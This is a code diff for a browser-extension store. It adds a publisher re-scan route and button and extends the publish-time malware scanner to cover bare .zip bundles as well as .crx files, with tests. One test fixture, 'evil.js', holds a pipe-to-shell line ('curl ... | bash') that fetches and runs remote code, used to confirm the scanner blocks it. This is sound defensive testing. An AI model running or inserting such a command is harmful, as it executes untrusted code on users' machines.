diff --git a/apps/extensions/public/store.js b/apps/extensions/public/store.js
index d70bf39..24b6a42 100644
--- a/apps/extensions/public/store.js
+++ b/apps/extensions/public/store.js
@@ -265,6 +265,7 @@ async function renderDetail(slug, root) {
         <a class="btn secondary" href="/store/install-guide.html">How to install</a>
         <button class="btn ghost" id="flagBtn">⚑ Report</button>
         ${ext.isOwner ? '<button class="btn secondary" id="editBtn">✎ Edit listing</button>' : ''}
+        ${ext.isOwner ? '<button class="btn ghost" id="rescanBtn">🛡 Re-scan</button>' : ''}
       </div>
       ${ext.isOwner ? editForm(ext) : ''}
       ${ext.homepageUrl ? `<p class="hint">Homepage: <a href="${esc(ext.homepageUrl)}" rel="noopener noreferrer">${esc(ext.homepageUrl)}</a></p>` : ''}
@@ -285,6 +286,22 @@ async function renderDetail(slug, root) {
     });
 
     wireEditForm(ext, () => renderDetail(slug, root));
+
+    // Scans are recorded at publish time, so a listing published before its
+    // bundle could be scanned needs one re-run to earn a badge.
+    document.getElementById('rescanBtn')?.addEventListener('click', async (e) => {
+      const btn = e.currentTarget;
+      btn.disabled = true;
+      btn.textContent = '🛡 Scanning…';
+      try {
+        await api(`/extensions/${encodeURIComponent(ext.id)}/rescan`, { method: 'POST' });
+        await renderDetail(slug, root);
+      } catch (err) {
+        alert('Could not scan: ' + err.message);
+        btn.disabled = false;
+        btn.textContent = '🛡 Re-scan';
+      }
+    });
   }
 }
 
diff --git a/services/api/src/store/crx.ts b/services/api/src/store/crx.ts
index 0218384..3fed12e 100644
--- a/services/api/src/store/crx.ts
+++ b/services/api/src/store/crx.ts
@@ -43,6 +43,22 @@ export function crxToZip(buf: Uint8Array): Uint8Array {
   throw new Error(`unsupported CRX version ${version}`);
 }
 
+/**
+ * Extract the ZIP payload from whichever artifact a publisher shipped.
+ *
+ * A .crx is a header wrapped around a ZIP, and most publishers upload the bare
+ * .zip instead. Insisting on the CRX header meant zip-only listings skipped the
+ * scanner entirely and sat on an "unscanned" badge forever.
+ */
+export function artifactToZip(buf: Uint8Array): Uint8Array {
+  if (buf.length >= 4 && strFromU8(buf.slice(0, 4)) === CRX_MAGIC) return crxToZip(buf);
+  // Local file header ("PK\x03\x04") — or an empty archive ("PK\x05\x06").
+  if (buf.length >= 4 && buf[0] === 0x50 && buf[1] === 0x4b && (buf[2] === 0x03 || buf[2] === 0x05)) {
+    return buf;
+  }
+  throw new Error('not a .crx or .zip bundle');
+}
+
 function iconToDataUri(path: string, bytes: Uint8Array): string | null {
   if (!bytes || bytes.length === 0 || bytes.length > MAX_ICON_BYTES) return null;
   const ext = path.toLowerCase().split('.').pop() || '';
@@ -108,25 +124,28 @@ export function extractListingFromCrx(buf: Uint8Array): IngestedListing {
 }
 
 /** Download a .crx over http(s) with guards. */
-export async function fetchCrx(url: string, maxBytes = 25 * 1024 * 1024): Promise<Uint8Array> {
+export async function fetchArtifact(url: string, maxBytes = 25 * 1024 * 1024): Promise<Uint8Array> {
   let u: URL;
   try {
     u = new URL(url);
   } catch {
-    throw new Error('crxUrl must be a valid URL');
+    throw new Error('bundle URL must be a valid URL');
   }
   if (u.protocol !== 'https:' && u.protocol !== 'http:') {
-    throw new Error('crxUrl must be http(s)');
+    throw new Error('bundle URL must be http(s)');
   }
   const res = await fetch(u, { redirect: 'follow' });
-  if (!res.ok) throw new Error(`could not fetch crx (${res.status})`);
+  if (!res.ok) throw new Error(`could not fetch bundle (${res.status})`);
   const len = Number(res.headers.get('content-length') || 0);
-  if (len && len > maxBytes) throw new Error('crx is too large');
+  if (len && len > maxBytes) throw new Error('bundle is too large');
   const buf = new Uint8Array(await res.arrayBuffer());
-  if (buf.length > maxBytes) throw new Error('crx is too large');
+  if (buf.length > maxBytes) throw new Error('bundle is too large');
   return buf;
 }
 
+/** @deprecated use {@link fetchArtifact} — same fetch, .crx-flavoured name. */
+export const fetchCrx = fetchArtifact;
+
 /** Download a .crx and extract its listing. */
 export async function ingestCrxUrl(url: string): Promise<IngestedListing> {
   return extractListingFromCrx(await fetchCrx(url));
diff --git a/services/api/src/store/routes.ts b/services/api/src/store/routes.ts
index 17a01c8..3fc13f2 100644
--- a/services/api/src/store/routes.ts
+++ b/services/api/src/store/routes.ts
@@ -24,8 +24,8 @@ import {
 } from './payments.js';
 import { enqueueScan } from './vu1nz.js';
 import { mirrorListing } from './mirror.js';
-import { fetchCrx, extractListingFromCrx } from './crx.js';
-import { scanCrx } from './scanner.js';
+import { fetchArtifact, extractListingFromCrx } from './crx.js';
+import { scanArtifact, type ExtensionScanResult } from './scanner.js';
 import { createScan, updateScan } from './db.js';
 
 const APP_URL = process.env.APP_URL || 'https://tronbrowser.dev';
@@ -85,6 +85,17 @@ async function listingView(ext: any, viewer?: User | null) {
   };
 }
 
+/** Write a scan verdict to the badge store. Shared by publish and rescan. */
+async function persistScan(extensionId: string, versionId: string, result: ExtensionScanResult): Promise<void> {
+  const scanId = await createScan(extensionId, versionId);
+  await updateScan(scanId, {
+    status: 'done',
+    score: result.green ? 100 : 40,
+    severity: result.status === 'malicious' ? 'critical' : result.status === 'suspicious' ? 'high' : 'clean',
+    findingsJson: JSON.stringify(result.findings),
+  });
+}
+
 export const store = new Hono();
 
 store.get('/healthz', (c) => c.json({ ok: true, service: 'store' }));
@@ -142,6 +153,33 @@ store.patch('/extensions/:id', async (c) => {
   return c.json({ ok: true, listing: await listingView(updated) });
 });
 
+/* ---------- publisher: re-scan the current version ----------
+   A scan verdict is written at publish time, so a listing published while the
+   scanner was unavailable (or before zip bundles were scannable) keeps showing
+   "unscanned" until its next release. This re-runs the scan against the
+   artifact already on file — no re-upload, no version bump. */
+store.post('/extensions/:id/rescan', async (c) => {
+  const user = await currentUser(c);
+  if (!user) return c.json({ error: 'unauthorized' }, 401);
+  const ext = await extensionById(c.req.param('id'));
+  if (!ext) return c.json({ error: 'not found' }, 404);
+  if (ext.owner_user_id !== user.id) return c.json({ error: 'forbidden' }, 403);
+
+  const ver = await latestVersion(ext.id);
+  if (!ver) return c.json({ error: 'no published version to scan' }, 404);
+  const target = ver.crx_url || ver.bundle_url;
+  if (!target) return c.json({ error: 'version has no downloadable artifact' }, 400);
+
+  try {
+    const buf = await fetchArtifact(target);
+    const result = scanArtifact(buf, ver.permissions_json ? JSON.parse(ver.permissions_json) : []);
+    await persistScan(ext.id, ver.id, result);
+    return c.json({ ok: true, scan: result });
+  } catch (e: any) {
+    return c.json({ error: `could not scan bundle: ${e?.message || e}` }, 422);
+  }
+});
+
 /* ---------- publisher: create draft ---------- */
 store.post('/extensions', async (c) => {
   const user = await currentUser(c);
@@ -176,9 +214,9 @@ store.post('/extensions/ingest', async (c) => {
   const crxUrl = String(body.crxUrl || '').trim();
   if (!crxUrl) return c.json({ error: 'crxUrl required' }, 400);
   try {
-    const buf = await fetchCrx(crxUrl);
+    const buf = await fetchArtifact(crxUrl);
     const listing = extractListingFromCrx(buf);
-    const scan = scanCrx(buf, listing.permissions);
+    const scan = scanArtifact(buf, listing.permissions);
     return c.json({ ok: true, listing, scan });
   } catch (e: any) {
     return c.json({ error: e?.message || 'could not ingest .crx' }, 422);
@@ -340,13 +378,18 @@ store.post('/extensions/:id/versions', async (c) => {
   // If we can fetch a .crx, scan its code + permissions and BLOCK the submit
   // on any critical finding (green light required to publish). Zip-only
   // bundles fall back to the async (non-gating) vu1nz scan.
-  let scanResult: Awaited<ReturnType<typeof scanCrx>> | null = null;
-  if (crxUrl) {
+  // A .crx is just a header around a ZIP, so scan whichever artifact exists.
+  // Gating only on .crx meant every zip-only listing skipped the scanner and
+  // fell through to the async path — which records 'skipped' when no external
+  // scanner is configured, leaving the listing permanently "unscanned".
+  const scanTarget = crxUrl || bundleUrl;
+  let scanResult: ExtensionScanResult | null = null;
+  if (scanTarget) {
     try {
-      const buf = await fetchCrx(crxUrl);
-      scanResult = scanCrx(buf, v.permissions);
+      const buf = await fetchArtifact(scanTarget);
+      scanResult = scanArtifact(buf, v.permissions);
     } catch (e: any) {
-      return c.json({ error: `could not scan .crx: ${e?.message || e}` }, 422);
+      return c.json({ error: `could not scan bundle: ${e?.message || e}` }, 422);
     }
     if (!scanResult.green) {
       return c.json({
@@ -372,15 +415,10 @@ store.post('/extensions/:id/versions', async (c) => {
 
   if (scanResult) {
     // Persist the gating scan result for the store badge.
-    const scanId = await createScan(ext.id, version.id);
-    await updateScan(scanId, {
-      status: 'done',
-      score: scanResult.green ? 100 : 40,
-      severity: scanResult.status === 'malicious' ? 'critical' : scanResult.status === 'suspicious' ? 'high' : 'clean',
-      findingsJson: JSON.stringify(scanResult.findings),
-    });
+    await persistScan(ext.id, version.id, scanResult);
   } else {
-    // Zip-only: fall back to the async (non-gating) vu1nz scan.
+    // No fetchable artifact at all — fall back to the async vu1nz scan, which
+    // records 'skipped' when no external scanner is configured.
     await enqueueScan(ext.id, version);
   }
 
diff --git a/services/api/src/store/scanner.test.ts b/services/api/src/store/scanner.test.ts
index 95a1098..7439e9d 100644
--- a/services/api/src/store/scanner.test.ts
+++ b/services/api/src/store/scanner.test.ts
@@ -1,6 +1,6 @@
 import { describe, it, expect } from 'vitest';
-import { strToU8 } from 'fflate';
-import { scanFiles, scanPermissions } from './scanner.js';
+import { strToU8, zipSync } from 'fflate';
+import { scanFiles, scanPermissions, scanArtifact } from './scanner.js';
 
 describe('extension scanner (publish gate)', () => {
   it('is green for a normal extension (fetch/base64/crypto are fine)', () => {
@@ -41,3 +41,44 @@ describe('extension scanner (publish gate)', () => {
     expect(f.some((x) => x.rule === 'perm-cookies')).toBe(true);
   });
 });
+
+describe('scanArtifact — .zip as well as .crx', () => {
+  const bundle = () => zipSync({
+    'manifest.json': strToU8(JSON.stringify({ manifest_version: 3, name: 'x', version: '1.0.0' })),
+    'background.js': strToU8('const x = await fetch(url);'),
+  });
+
+  it('scans a bare .zip bundle — the artifact most publishers actually upload', () => {
+    const r = scanArtifact(bundle(), ['storage']);
+    expect(r.green).toBe(true);
+    expect(r.status).toBe('clean');
+    expect(r.fileHash).toHaveLength(64);
+  });
+
+  it('still scans a .crx, and reaches the same verdict as its inner zip', () => {
+    const zip = bundle();
+    // CRX3: magic + version + headerLen + header, then the zip.
+    const header = new Uint8Array(8);
+    const crx = new Uint8Array(12 + header.length + zip.length);
+    crx.set(strToU8('Cr24'), 0);
+    new DataView(crx.buffer).setUint32(4, 3, true);
+    new DataView(crx.buffer).setUint32(8, header.length, true);
+    crx.set(header, 12);
+    crx.set(zip, 12 + header.length);
+
+    const fromCrx = scanArtifact(crx, ['storage']);
+    expect(fromCrx.green).toBe(true);
+    expect(fromCrx.findings).toEqual(scanArtifact(zip, ['storage']).findings);
+  });
+
+  it('flags a critical finding inside a plain zip, so the gate can block it', () => {
+    const evil = zipSync({ 'evil.js': strToU8('curl http://x.sh | bash') });
+    const r = scanArtifact(evil);
+    expect(r.green).toBe(false);
+    expect(r.findings.some((f) => f.rule === 'pipe-to-shell')).toBe(true);
+  });
+
+  it('rejects bytes that are neither .crx nor .zip', () => {
+    expect(() => scanArtifact(strToU8('not an archive'))).toThrow(/not a \.crx or \.zip/);
+  });
+});
diff --git a/services/api/src/store/scanner.ts b/services/api/src/store/scanner.ts
index c01fa90..8fb1a11 100644
--- a/services/api/src/store/scanner.ts
+++ b/services/api/src/store/scanner.ts
@@ -10,7 +10,7 @@
 // green (publishable) iff there are no critical findings.
 import { createHash } from 'node:crypto';
 import { unzipSync, strFromU8 } from 'fflate';
-import { crxToZip } from './crx.js';
+import { artifactToZip } from './crx.js';
 
 export type Severity = 'low' | 'medium' | 'high' | 'critical';
 export type ScanStatus = 'clean' | 'suspicious' | 'malicious';
@@ -112,12 +112,17 @@ function summarize(findings: ScanFinding[]): Omit<ExtensionScanResult, 'fileHash
   };
 }
 
-/** Scan a full .crx buffer: unzip, scan code + permissions, verdict. */
-export function scanCrx(buf: Uint8Array, permissions: string[] = []): ExtensionScanResult {
+/** Scan a published bundle — a .crx or a bare .zip: unzip, scan code + permissions, verdict. */
+export function scanArtifact(buf: Uint8Array, permissions: string[] = []): ExtensionScanResult {
   const fileHash = createHash('sha256').update(buf).digest('hex');
-  const files = unzipSync(crxToZip(buf), { filter: (f) => !f.name.endsWith('/') });
+  const files = unzipSync(artifactToZip(buf), { filter: (f) => !f.name.endsWith('/') });
   const base = scanFiles(files);
   const permFindings = scanPermissions(permissions);
   const merged = [...base.findings, ...permFindings];
   return { ...summarize(merged), fileHash };
 }
+
+/** @deprecated use {@link scanArtifact} — kept so .crx callers read naturally. */
+export function scanCrx(buf: Uint8Array, permissions: string[] = []): ExtensionScanResult {
+  return scanArtifact(buf, permissions);
+}